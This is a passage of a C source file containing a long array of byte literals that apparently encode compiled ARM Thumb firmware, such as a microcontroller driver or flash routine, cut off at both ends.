0x00u, 0x22u, 0x08u, 0x21u, 0xffu, 0xf7u, 0xc6u, 0xffu, 0x20u, 0x00u, 0x00u, 0x22u, 0x07u, 0x21u, 0xffu, 0xf7u,
0xc1u, 0xffu, 0x20u, 0x00u, 0x00u, 0x22u, 0x06u, 0x21u, 0xffu, 0xf7u, 0xbcu, 0xffu, 0x20u, 0x00u, 0x00u, 0x22u,
0x05u, 0x21u, 0xffu, 0xf7u, 0xb7u, 0xffu, 0x20u, 0x00u, 0x00u, 0x22u, 0x04u, 0x21u, 0xffu, 0xf7u, 0xb2u, 0xffu,
0x20u, 0x00u, 0x00u, 0x22u, 0x03u, 0x21u, 0xffu, 0xf7u, 0xadu, 0xffu, 0x20u, 0x00u, 0x00u, 0x22u, 0x02u, 0x21u,
0xffu, 0xf7u, 0xa8u, 0xffu, 0x20u, 0x00u, 0x00u, 0x22u, 0x01u, 0x21u, 0xffu, 0xf7u, 0xa3u, 0xffu, 0x00u, 0x22u,
0x20u, 0x00u, 0x11u, 0x00u, 0xffu, 0xf7u, 0x9eu, 0xffu, 0x03u, 0x4bu, 0x0fu, 0x21u, 0x1au, 0x68u, 0x20u, 0x00u,
0x92u, 0x08u, 0xffu, 0xf7u, 0x97u, 0xffu, 0x10u, 0xbdu, 0x3cu, 0x05u, 0x00u, 0x08u, 0x05u, 0x4bu, 0x1bu, 0x68u,
0x29u, 0x33u, 0x1au, 0x78u, 0x04u, 0x4bu, 0x1fu, 0x2au, 0x00u, 0xd9u, 0x04u, 0x4bu, 0x04u, 0x4au, 0x13u, 0x60u,
0x70u, 0x47u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u, 0x9cu, 0x73u, 0x00u, 0x10u, 0xf0u, 0x73u, 0x00u, 0x10u,
0x38u, 0x05u, 0x00u, 0x08u, 0x2fu, 0x4bu, 0x70u, 0xb5u, 0x14u, 0x00u, 0x1au, 0x68u, 0x00u, 0x2au, 0x2cu, 0xd0u,
0x00u, 0x29u, 0x09u, 0xd1u, 0x00u, 0x2cu, 0x28u, 0xd1u, 0x13u, 0x6du, 0xc1u, 0x18u, 0x2au, 0x4bu, 0x1bu, 0x68u,
0x9cu, 0x6cu, 0x00u, 0x29u, 0x21u, 0xd0u, 0xa4u, 0x00u, 0x28u, 0x4bu, 0x65u, 0x1eu, 0x9du, 0x42u, 0x1cu, 0xd8u,
0x80u, 0x23u, 0x1bu, 0x01u, 0x9cu, 0x42u, 0x3eu, 0xd0u, 0x0du, 0xd8u, 0x80u, 0x23u, 0x9bu, 0x00u, 0x9cu, 0x42u,
0x1du, 0xd0u, 0x80u, 0x23u, 0xdbu, 0x00u, 0x9cu, 0x42u, 0x33u, 0xd0u, 0x80u, 0x23u, 0x5bu, 0x00u, 0x9cu, 0x42u,
0x0bu, 0xd1u, 0x7fu, 0x23u, 0x14u, 0xe0u, 0x80u, 0x23u, 0x9bu, 0x01u, 0x9cu, 0x42u, 0x2du, 0xd0u, 0x06u, 0xd8u,
0x80u, 0x26u, 0x70u, 0x23u, 0x76u, 0x01u, 0xb4u, 0x42u, 0x0au, 0xd0u, 0x19u, 0x48u, 0x20u, 0xe0u, 0x80u, 0x23u,
0xdbu, 0x01u, 0x9cu, 0x42u, 0x23u, 0xd0u, 0x80u, 0x26u, 0x00u, 0x23u, 0x36u, 0x02u, 0xf3u, 0xe7u, 0x7eu, 0x23u,
0x11u, 0x4eu, 0x36u, 0x68u, 0x29u, 0x36u, 0x36u, 0x78u, 0x1fu, 0x2eu, 0x00u, 0xd8u, 0x11u, 0x4du, 0x29u, 0x42u,
0xebu, 0xd1u, 0x1fu, 0x2eu, 0x02u, 0xd9u, 0x10u, 0x4du, 0x1bu, 0x02u, 0x43u, 0x51u, 0x93u, 0x6bu, 0xa2u, 0x08u,
0xc3u, 0x18u, 0x19u, 0x60u, 0x0fu, 0x21u, 0xffu, 0xf7u, 0x2du, 0xffu, 0x00u, 0x20u, 0x0bu, 0x4bu, 0x1cu, 0x60u,
0x70u, 0xbdu, 0x7cu, 0x23u, 0xe4u, 0xe7u, 0x78u, 0x23u, 0xe2u, 0xe7u, 0x60u, 0x23u, 0xe0u, 0xe7u, 0x40u, 0x23u,
0xdeu, 0xe7u, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x34u, 0x07u, 0x00u, 0x08u, 0xffu, 0x7fu, 0x00u, 0x00u,
0x0bu, 0x00u, 0x32u, 0x00u, 0xffu, 0x3fu, 0x00u, 0x00u, 0x88u, 0x14u, 0x00u, 0x00u, 0x3cu, 0x05u, 0x00u, 0x08u,
0x20u, 0x4bu, 0x21u, 0x49u, 0x1bu, 0x68u, 0x09u, 0x68u, 0x9au, 0x6cu, 0x92u, 0x00u, 0x00u, 0x29u, 0x1cu, 0xd0u,
0x1eu, 0x49u, 0x09u, 0x68u, 0x00u, 0x29u, 0x18u, 0xd0u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x2fu, 0xd9u,
0x1bu, 0x4bu, 0xc3u, 0x58u, 0x5bu, 0x04u, 0x5bu, 0x0eu, 0x70u, 0x2bu, 0x1du, 0xd0u, 0x08u, 0xd8u, 0x40u, 0x2bu,
0x14u, 0xd0u, 0x60u, 0x2bu, 0x15u, 0xd0u, 0x00u, 0x2bu, 0x07u, 0xd1u, 0x80u, 0x22u, 0x12u, 0x02u, 0x04u, 0xe0u,
0x7cu, 0x2bu, 0x17u, 0xd0u, 0x03u, 0xd8u, 0x78u, 0x2bu, 0x11u, 0xd0u, 0x10u, 0x00u, 0x70u, 0x47u, 0x7eu, 0x2bu,
0x13u, 0xd0u, 0x7fu, 0x2bu, 0xf9u, 0xd1u, 0x80u, 0x22u, 0x52u, 0x00u, 0xf6u, 0xe7u, 0x80u, 0x22u, 0xd2u, 0x01u,
0xf3u, 0xe7u, 0x80u, 0x22u, 0x92u, 0x01u, 0xf0u, 0xe7u, 0x80u, 0x22u, 0x52u, 0x01u, 0xedu, 0xe7u, 0x80u, 0x22u,
0x12u, 0x01u, 0xeau, 0xe7u, 0x80u, 0x22u, 0xd2u, 0x00u, 0xe7u, 0xe7u, 0x80u, 0x22u, 0x92u, 0x00u, 0xe4u, 0xe7u,
0x0au, 0x00u, 0xe2u, 0xe7u, 0x34u, 0x07u, 0x00u, 0x08u, 0x38u, 0x05u, 0x00u, 0x08u, 0x3cu, 0x05u, 0x00u, 0x08u,
0x88u, 0x14u, 0x00u, 0x00u, 0x10u, 0xb5u, 0x04u, 0x00u, 0xffu, 0xf7u, 0x30u, 0xffu, 0x17u, 0x4au, 0x18u, 0x49u,
0x13u, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x17u, 0xd8u, 0x16u, 0x4bu, 0x23u, 0x60u, 0x01u, 0x20u,
0x09u, 0x68u, 0x4bu, 0x6bu, 0xe3u, 0x18u, 0x18u, 0x60u, 0x13u, 0x4bu, 0x1bu, 0x68u, 0x00u, 0x2bu, 0x07u, 0xd1u,
0x13u, 0x68u, 0x09u, 0x6du, 0x9au, 0x6cu, 0x61u, 0x18u, 0x92u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x2au, 0xffu,
0x20u, 0x00u, 0xffu, 0xf7u, 0xbdu, 0xfeu, 0x00u, 0x20u, 0x10u, 0xbdu, 0x23u, 0x68u, 0x0bu, 0x48u, 0x03u, 0x40u,
0x23u, 0x60u, 0x0bu, 0x68u, 0x0au, 0x48u, 0x5bu, 0x68u, 0xe3u, 0x18u, 0x18u, 0x60u, 0x80u, 0x23u, 0x20u, 0x68u,
0x1bu, 0x06u, 0x03u, 0x43u, 0x23u, 0x60u, 0x03u, 0x23u, 0xa3u, 0x60u, 0xd8u, 0xe7u, 0x34u, 0x07u, 0x00u, 0x08u,
0x38u, 0x05u, 0x00u, 0x08u, 0x03u, 0x00u, 0x00u, 0x80u, 0x3cu, 0x05u, 0x00u, 0x08u, 0xffu, 0xffu, 0xfeu, 0x7fu,
0x01u, 0x00u, 0x02u, 0x00u, 0x03u, 0x23u, 0x03u, 0x70u, 0x00u, 0x20u, 0x70u, 0x47u, 0x06u, 0x4bu, 0x1bu, 0x68u,
0x29u, 0x33u, 0x1au, 0x78u, 0x00u, 0x23u, 0x03u, 0x60u, 0x1fu, 0x2au, 0x03u, 0xd8u, 0x00u, 0x20u, 0x03u, 0x4bu,
0x18u, 0x60u, 0x70u, 0x47u, 0x83u, 0x60u, 0xf9u, 0xe7u, 0x34u, 0x07u, 0x00u, 0x08u, 0x3cu, 0x05u, 0x00u, 0x08u,
0x30u, 0xb5u, 0x01u, 0x29u, 0x0bu, 0xd9u, 0x01u, 0x22u, 0x0au, 0x40u, 0x54u, 0x42u, 0x62u, 0x41u, 0xcbu, 0x0fu,
0x5bu, 0x18u, 0x5bu, 0x10u, 0x9bu, 0x1au, 0x02u, 0x00u, 0x01u, 0x39u, 0x8bu, 0x42u, 0x00u, 0xdbu, 0x30u, 0xbdu,
0x14u, 0x78u, 0x45u, 0x5cu, 0x15u, 0x70u, 0x44u, 0x54u, 0x01u, 0x32u, 0x01u, 0x39u, 0xf5u, 0xe7u, 0x00u, 0x00u,
0x03u, 0x4bu, 0x1bu, 0x68u, 0x9bu, 0x68u, 0xc0u, 0x18u, 0x0fu, 0x23u, 0x00u, 0x68u, 0x18u, 0x40u, 0x70u, 0x47u,
0x38u, 0x05u, 0x00u, 0x08u, 0x70u, 0xb5u, 0x04u, 0x00u, 0x0du, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xf0u, 0xffu,
0x06u, 0x28u, 0xfau, 0xd8u, 0x80u, 0x21u, 0x05u, 0x4bu, 0xc9u, 0x05u, 0x1au, 0x68u, 0xd3u, 0x68u, 0xe3u, 0x18u,
0x19u, 0x60u, 0xd3u, 0x68u, 0xe4u, 0x18u, 0x25u, 0x60u, 0x70u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u,
0x70u, 0xb5u, 0x04u, 0x00u, 0x0eu, 0x00u, 0x15u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xd9u, 0xffu, 0x05u, 0x28u,
0xfau, 0xd8u, 0x06u, 0x4bu, 0x06u, 0x49u, 0x1bu, 0x68u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x11u, 0x60u, 0xdau, 0x68u,
0xa2u, 0x18u, 0x16u, 0x60u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0x25u, 0x60u, 0x70u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u,
0x10u, 0x00u, 0x00u, 0x41u, 0xf8u, 0xb5u, 0x04u, 0x00u, 0x0fu, 0x00u, 0x16u, 0x00u, 0x1du, 0x00u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xbeu, 0xffu, 0x04u, 0x28u, 0xfau, 0xd8u, 0x07u, 0x4bu, 0x08u, 0x49u, 0x1bu, 0x68u, 0xdau, 0x68u,
0xa2u, 0x18u, 0x11u, 0x60u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x17u, 0x60u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x16u, 0x60u,
0xdbu, 0x68u, 0xe4u, 0x18u, 0x25u, 0x60u, 0xf8u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x10u, 0x02u, 0x00u, 0x42u,
0xf8u, 0xb5u, 0x04u, 0x00u, 0x0fu, 0x00u, 0x16u, 0x00u, 0x1du, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa0u, 0xffu,
0x03u, 0x28u, 0xfau, 0xd8u, 0x09u, 0x4bu, 0x0au, 0x49u, 0x1bu, 0x68u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x11u, 0x60u,
0xdau, 0x68u, 0xa2u, 0x18u, 0x17u, 0x60u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x16u, 0x60u, 0xdau, 0x68u, 0xa2u, 0x18u,
0x15u, 0x60u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0x06u, 0x9bu, 0x23u, 0x60u, 0xf8u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u,
0x10u, 0x32u, 0x00u, 0x43u, 0x70u, 0xb5u, 0x04u, 0x00u, 0x0du, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x80u, 0xffu,
0x07u, 0x28u, 0xfau, 0xd8u, 0x03u, 0x4bu, 0x2du, 0x06u, 0x1bu, 0x68u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0x25u, 0x60u,
0x70u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x70u, 0xb5u, 0x05u, 0x00u, 0x0cu, 0x00u, 0x1eu, 0x00u,
0x28u, 0x00u, 0xffu, 0xf7u, 0x6du, 0xffu, 0x07u, 0x28u, 0xfau, 0xd8u, 0x05u, 0x4bu, 0x24u, 0x06u, 0x1bu, 0x68u,
0xdbu, 0x68u, 0xedu, 0x18u, 0x01u, 0x23u, 0xb3u, 0x40u, 0x1cu, 0x43u, 0x2cu, 0x60u, 0x70u, 0xbdu, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0xf8u, 0xb5u, 0x07u, 0x00u, 0x0cu, 0x00u, 0x1du, 0x00u, 0x06u, 0xabu, 0x1eu, 0x78u,
0x38u, 0x00u, 0xffu, 0xf7u, 0x55u, 0xffu, 0x07u, 0x28u, 0xfau, 0xd8u, 0x06u, 0x4bu, 0x02u, 0x21u, 0x1bu, 0x68u,
0xb1u, 0x40u, 0xd8u, 0x68u, 0x01u, 0x23u, 0xabu, 0x40u, 0x24u, 0x06u, 0x19u, 0x43u, 0x38u, 0x18u, 0x21u, 0x43u,
0x01u, 0x60u, 0xf8u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x70u, 0xb5u, 0x06u, 0x00u, 0x0cu, 0x00u, 0x1du, 0x00u,
0x30u, 0x00u, 0xffu, 0xf7u, 0x3du, 0xffu, 0x07u, 0x28u, 0xfau, 0xd8u, 0x02u, 0x21u, 0x08u, 0x4bu, 0x05u, 0x9au,
0x1bu, 0x68u, 0x24u, 0x06u, 0xd8u, 0x68u, 0x04u, 0x9bu, 0x30u, 0x18u, 0x99u, 0x40u, 0x01u, 0x23u, 0xabu, 0x40u,
0x19u, 0x43u, 0x03u, 0x23u, 0x93u, 0x40u, 0x19u, 0x43u, 0x21u, 0x43u, 0x01u, 0x60u, 0x70u, 0xbdu, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0x13u, 0xb5u, 0x04u, 0x00u, 0x08u, 0x00u, 0x11u, 0x00u, 0x00u, 0x2bu, 0x13u, 0xd0u,
0x02u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x56u, 0xffu, 0x08u, 0x23u, 0x20u, 0x00u, 0x00u, 0x93u, 0x00u, 0x22u,
0x04u, 0x3bu, 0x50u, 0x21u, 0xffu, 0xf7u, 0xb6u, 0xffu, 0x04u, 0x4bu, 0x1bu, 0x68u, 0x1bu, 0x68u, 0xe4u, 0x18u,
0x10u, 0x23u, 0x22u, 0x68u, 0x1au, 0x42u, 0xfcu, 0xd1u, 0x13u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u,
0x13u, 0xb5u, 0x04u, 0x00u, 0x10u, 0x00u, 0x1au, 0x1eu, 0x13u, 0xd0u, 0x03u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x39u, 0xffu, 0x0cu, 0x23u, 0x20u, 0x00u, 0x00u, 0x93u, 0x00u, 0x22u, 0x04u, 0x3bu, 0x51u, 0x21u, 0xffu, 0xf7u,
0x99u, 0xffu, 0x04u, 0x4bu, 0x1bu, 0x68u, 0x1bu, 0x68u, 0xe4u, 0x18u, 0x10u, 0x23u, 0x22u, 0x68u, 0x1au, 0x42u,
0xfcu, 0xd1u, 0x13u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x13u, 0xb5u, 0x04u, 0x00u, 0x01u, 0x20u, 0x00u, 0x2bu,
0x15u, 0xd0u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x1eu, 0xffu, 0x08u, 0x23u, 0x00u, 0x22u, 0x00u, 0x93u, 0x52u, 0x21u,
0x04u, 0x3bu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x7eu, 0xffu, 0x10u, 0x22u, 0x05u, 0x4bu, 0x1bu, 0x68u, 0x1bu, 0x68u,
0xe3u, 0x18u, 0x19u, 0x68u, 0x11u, 0x42u, 0xfcu, 0xd1u, 0xc0u, 0x23u, 0x5bu, 0x00u, 0xe0u, 0x58u, 0x16u, 0xbdu,
0x38u, 0x05u, 0x00u, 0x08u, 0x13u, 0xb5u, 0x04u, 0x00u, 0x08u, 0x00u, 0x11u, 0x00u, 0x1au, 0x00u, 0x04u, 0xabu,
0x1bu, 0x88u, 0x00u, 0x2bu, 0x15u, 0xd0u, 0x00u, 0x90u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x19u, 0xffu, 0x0cu, 0x23u,
0x01u, 0x93u, 0x04u, 0x3bu, 0x00u, 0x93u, 0x20u, 0x00u, 0x04u, 0x3bu, 0x00u, 0x22u, 0x53u, 0x21u, 0xffu, 0xf7u,
0x73u, 0xffu, 0x04u, 0x4bu, 0x1bu, 0x68u, 0x1bu, 0x68u, 0xe4u, 0x18u, 0x10u, 0x23u, 0x22u, 0x68u, 0x1au, 0x42u,
0xfcu, 0xd1u, 0x13u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x03u, 0x4bu, 0x1bu, 0x68u, 0x9bu, 0x68u, 0xc0u, 0x18u,
0x0fu, 0x23u, 0x00u, 0x68u, 0x18u, 0x40u, 0x70u, 0x47u, 0x38u, 0x05u, 0x00u, 0x08u, 0x03u, 0x4bu, 0x1bu, 0x68u,
0x1bu, 0x68u, 0xc0u, 0x18u, 0x03u, 0x68u, 0x00u, 0x2bu, 0xfcu, 0xd1u, 0x70u, 0x47u, 0x38u, 0x05u, 0x00u, 0x08u,
0xf8u, 0xb5u, 0x04u, 0x00u, 0x0du, 0x00u, 0x17u, 0x00u, 0x1eu, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xe4u, 0xffu,
0x04u, 0x28u, 0xfau, 0xd8u, 0x08u, 0x2du, 0x04u, 0xd0u, 0x0cu, 0x4au, 0xa3u, 0x58u, 0x00u, 0x2bu, 0xfcu, 0xdbu,
0x04u, 0xe0u, 0x86u, 0x22u, 0x52u, 0x01u, 0xa3u, 0x58u, 0x00u, 0x2bu, 0xfcu, 0xdbu, 0xe2u, 0x21u, 0x08u, 0x4bu,
0xc9u, 0x05u, 0x1bu, 0x68u, 0x0du, 0x43u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x15u, 0x60u, 0xdau, 0x68u, 0xa2u, 0x18u,
0x17u, 0x60u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0x26u, 0x60u, 0xf8u, 0xbdu, 0xc0u, 0x46u, 0xd0u, 0x10u, 0x00u, 0x00u,
0x38u, 0x05u, 0x00u, 0x08u, 0x70u, 0xb5u, 0x04u, 0x00u, 0x0eu, 0x00u, 0x15u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xbbu, 0xffu, 0x04u, 0x28u, 0xfau, 0xd8u, 0x06u, 0x4bu, 0x06u, 0x49u, 0x1bu, 0x68u, 0xdau, 0x68u, 0xa2u, 0x18u,
0x11u, 0x60u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x16u, 0x60u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0x25u, 0x60u, 0x70u, 0xbdu,
0x38u, 0x05u, 0x00u, 0x08u, 0x0cu, 0x00u, 0x00u, 0x70u, 0x70u, 0xb5u, 0x05u, 0x00u, 0x0cu, 0x00u, 0x1eu, 0x1eu,
0x22u, 0xd0u, 0x08u, 0x21u, 0xffu, 0xf7u, 0xb4u, 0xffu, 0x21u, 0x00u, 0x32u, 0x00u, 0x28u, 0x00u, 0xffu, 0xf7u,
0xd9u, 0xffu, 0x34u, 0x00u, 0x0fu, 0x2cu, 0x18u, 0xd8u, 0x10u, 0x24u, 0x33u, 0x09u, 0x64u, 0x42u, 0x5cu, 0x43u,
0xa4u, 0x19u, 0xa4u, 0xb2u, 0x00u, 0x2cu, 0x0cu, 0xd0u, 0x28u, 0x00u, 0xffu, 0xf7u, 0x8du, 0xffu, 0x06u, 0x28u,
0xfau, 0xd8u, 0x0du, 0x4bu, 0x0du, 0x4au, 0x1bu, 0x68u, 0x24u, 0x04u, 0xdbu, 0x68u, 0x14u, 0x43u, 0xebu, 0x18u,
0x1cu, 0x60u, 0x28u, 0x00u, 0xffu, 0xf7u, 0x8au, 0xffu, 0x70u, 0xbdu, 0x28u, 0x00u, 0xffu, 0xf7u, 0x7cu, 0xffu,
0x06u, 0x28u, 0xfau, 0xd8u, 0x04u, 0x4bu, 0x06u, 0x4au, 0x1bu, 0x68u, 0x10u, 0x3cu, 0xdbu, 0x68u, 0xa4u, 0xb2u,
0xebu, 0x18u, 0x1au, 0x60u, 0xd6u, 0xe7u, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x08u, 0xc0u, 0x00u, 0x40u,
0x08u, 0xc0u, 0x10u, 0x40u, 0xf8u, 0xb5u, 0x05u, 0x00u, 0x16u, 0x00u, 0x1fu, 0x1eu, 0x1eu, 0xd0u, 0x1au, 0x00u,
0xffu, 0xf7u, 0xa0u, 0xffu, 0x3cu, 0x00u, 0x0fu, 0x2cu, 0x19u, 0xd8u, 0x10u, 0x24u, 0x3bu, 0x09u, 0x64u, 0x42u,
0x5cu, 0x43u, 0xe4u, 0x19u, 0xa4u, 0xb2u, 0x00u, 0x2cu, 0x0du, 0xd0u, 0x28u, 0x00u, 0xffu, 0xf7u, 0x54u, 0xffu,
0x06u, 0x28u, 0xfau, 0xd8u, 0x0du, 0x4bu, 0x0eu, 0x4au, 0x1bu, 0x68u, 0x32u, 0x43u, 0xdbu, 0x68u, 0x24u, 0x04u,
0xebu, 0x18u, 0x14u, 0x43u, 0x1cu, 0x60u, 0x28u, 0x00u, 0xffu, 0xf7u, 0x50u, 0xffu, 0xf8u, 0xbdu, 0x28u, 0x00u,
0xffu, 0xf7u, 0x42u, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x04u, 0x4bu, 0x06u, 0x4au, 0x1bu, 0x68u, 0x32u, 0x43u,
0xdbu, 0x68u, 0x10u, 0x3cu, 0xebu, 0x18u, 0x1au, 0x60u, 0xa4u, 0xb2u, 0xd4u, 0xe7u, 0x38u, 0x05u, 0x00u, 0x08u,
0x00u, 0xc0u, 0x00u, 0x42u, 0x00u, 0xc0u, 0x10u, 0x42u, 0x70u, 0xb5u, 0x05u, 0x00u, 0x14u, 0x00u, 0x1eu, 0x00u,
0x01u, 0x20u, 0x00u, 0x2bu, 0x2du, 0xd0u, 0x8cu, 0x23u, 0x00u, 0x22u, 0x5bu, 0x01u, 0xeau, 0x50u, 0x28u, 0x00u,
0x0au, 0x00u, 0x33u, 0x00u, 0x08u, 0x21u, 0xffu, 0xf7u, 0x33u, 0xffu, 0x22u, 0x00u, 0x33u, 0x00u, 0x09u, 0x21u,
0x28u, 0x00u, 0xffu, 0xf7u, 0x2du, 0xffu, 0x34u, 0x00u, 0x0fu, 0x2cu, 0x1bu, 0xd8u, 0x10u, 0x24u, 0x33u, 0x09u,
0x64u, 0x42u, 0x5cu, 0x43u, 0xa4u, 0x19u, 0xa4u, 0xb2u, 0x00u, 0x2cu, 0x0cu, 0xd0u, 0x28u, 0x00u, 0xffu, 0xf7u,
0x0bu, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x0eu, 0x4bu, 0x0eu, 0x4au, 0x1bu, 0x68u, 0x24u, 0x04u, 0xdbu, 0x68u,
0x14u, 0x43u, 0xebu, 0x18u, 0x1cu, 0x60u, 0x28u, 0x00u, 0xffu, 0xf7u, 0x08u, 0xffu, 0x8cu, 0x23u, 0x5bu, 0x01u,
0xe8u, 0x58u, 0x70u, 0xbdu, 0x28u, 0x00u, 0xffu, 0xf7u, 0xf7u, 0xfeu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x04u, 0x4bu,
0x05u, 0x4au, 0x1bu, 0x68u, 0x10u, 0x3cu, 0xdbu, 0x68u, 0xa4u, 0xb2u, 0xebu, 0x18u, 0x1au, 0x60u, 0xd3u, 0xe7u,
0x38u, 0x05u, 0x00u, 0x08u, 0x98u, 0x00u, 0x00u, 0x43u, 0x98u, 0x00u, 0x10u, 0x43u, 0xf8u, 0xb5u, 0x1fu, 0x00u,
0x06u, 0xabu, 0x1eu, 0x88u, 0x05u, 0x00u, 0x0cu, 0x00u, 0x00u, 0x2eu, 0x29u, 0xd0u, 0x33u, 0x00u, 0x08u, 0x21u,
0xffu, 0xf7u, 0xeeu, 0xfeu, 0x33u, 0x00u, 0x3au, 0x00u, 0x09u, 0x21u, 0x28u, 0x00u, 0xffu, 0xf7u, 0xe8u, 0xfeu,
0x21u, 0x00u, 0x32u, 0x00u, 0x28u, 0x00u, 0xffu, 0xf7u, 0x0du, 0xffu, 0x34u, 0x00u, 0x0fu, 0x2cu, 0x18u, 0xd8u,
0x10u, 0x24u, 0x33u, 0x09u, 0x64u, 0x42u, 0x5cu, 0x43u, 0xa4u, 0x19u, 0xa4u, 0xb2u, 0x00u, 0x2cu, 0x0cu, 0xd0u,
0x28u, 0x00u, 0xffu, 0xf7u, 0xc1u, 0xfeu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x0du, 0x4bu, 0x0du, 0x4au, 0x1bu, 0x68u,
0x24u, 0x04u, 0xdbu, 0x68u, 0x14u, 0x43u, 0xebu, 0x18u, 0x1cu, 0x60u, 0x28u, 0x00u, 0xffu, 0xf7u, 0xbeu, 0xfeu,
0xf8u, 0xbdu, 0x28u, 0x00u, 0xffu, 0xf7u, 0xb0u, 0xfeu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x04u, 0x4bu, 0x06u, 0x4au,
0x1bu, 0x68u, 0x10u, 0x3cu, 0xdbu, 0x68u, 0xa4u, 0xb2u, 0xebu, 0x18u, 0x1au, 0x60u, 0xd6u, 0xe7u, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0x98u, 0xc0u, 0x00u, 0x41u, 0x98u, 0xc0u, 0x10u, 0x41u, 0x10u, 0xb5u, 0x80u, 0x24u,
0xa4u, 0x00u, 0x01u, 0x51u, 0x81u, 0x21u, 0x52u, 0x00u, 0x52u, 0x08u, 0x89u, 0x00u, 0x42u, 0x50u, 0x82u, 0x22u,
0xdbu, 0x00u, 0xdbu, 0x08u, 0x92u, 0x00u, 0x83u, 0x50u, 0x00u, 0x20u, 0x10u, 0xbdu, 0x70u, 0xb5u, 0x04u, 0x00u,
0x15u, 0x00u, 0xffu, 0xf7u, 0x3fu, 0xfdu, 0x00u, 0x22u, 0x5cu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xaau, 0xfdu,
0x20u, 0x21u, 0x06u, 0x4bu, 0x1au, 0x68u, 0x13u, 0x68u, 0xe3u, 0x18u, 0x18u, 0x68u, 0x08u, 0x40u, 0xfcu, 0xd1u,
0x93u, 0x69u, 0xe4u, 0x18u, 0x23u, 0x68u, 0x2bu, 0x60u, 0x70u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u,
0x10u, 0xb5u, 0x80u, 0x24u, 0xa4u, 0x00u, 0x01u, 0x51u, 0x81u, 0x21u, 0x52u, 0x00u, 0x52u, 0x08u, 0x89u, 0x00u,
0x42u, 0x50u, 0x82u, 0x22u, 0xdbu, 0x00u, 0xdbu, 0x08u, 0x92u, 0x00u, 0x83u, 0x50u, 0x00u, 0x20u, 0x10u, 0xbdu,
0x83u, 0x23u, 0x9bu, 0x00u, 0x10u, 0xb5u, 0xc1u, 0x50u, 0x01u, 0x21u, 0x04u, 0x33u, 0xc1u, 0x50u, 0x06u, 0x4bu,
0x19u, 0x68u, 0x0bu, 0x68u, 0xc3u, 0x18u, 0x1cu, 0x68u, 0x00u, 0x2cu, 0xfcu, 0xdbu, 0x8bu, 0x69u, 0xc0u, 0x18u,
0x03u, 0x68u, 0x00u, 0x20u, 0x13u, 0x60u, 0x10u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x06u, 0x4cu,
0x24u, 0x68u, 0x29u, 0x34u, 0x24u, 0x78u, 0x1fu, 0x2cu, 0x02u, 0xd8u, 0xffu, 0xf7u, 0x05u, 0xfeu, 0x10u, 0xbdu,
0xffu, 0xf7u, 0x12u, 0xffu, 0xfbu, 0xe7u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u, 0x09u, 0x4bu, 0x1bu, 0x68u,
0x1bu, 0x68u, 0xc0u, 0x18u, 0x08u, 0x4bu, 0x1bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x04u, 0xd8u,
0x80u, 0x23u, 0x02u, 0x68u, 0x1au, 0x42u, 0xfcu, 0xd1u, 0x70u, 0x47u, 0x03u, 0x68u, 0x00u, 0x2bu, 0xfcu, 0xd1u,
0xfau, 0xe7u, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x34u, 0x07u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x13u, 0x00u,
0x06u, 0x4au, 0x14u, 0x68u, 0x29u, 0x34u, 0x22u, 0x78u, 0x1fu, 0x2au, 0x03u, 0xd8u, 0x00u, 0x22u, 0xffu, 0xf7u,
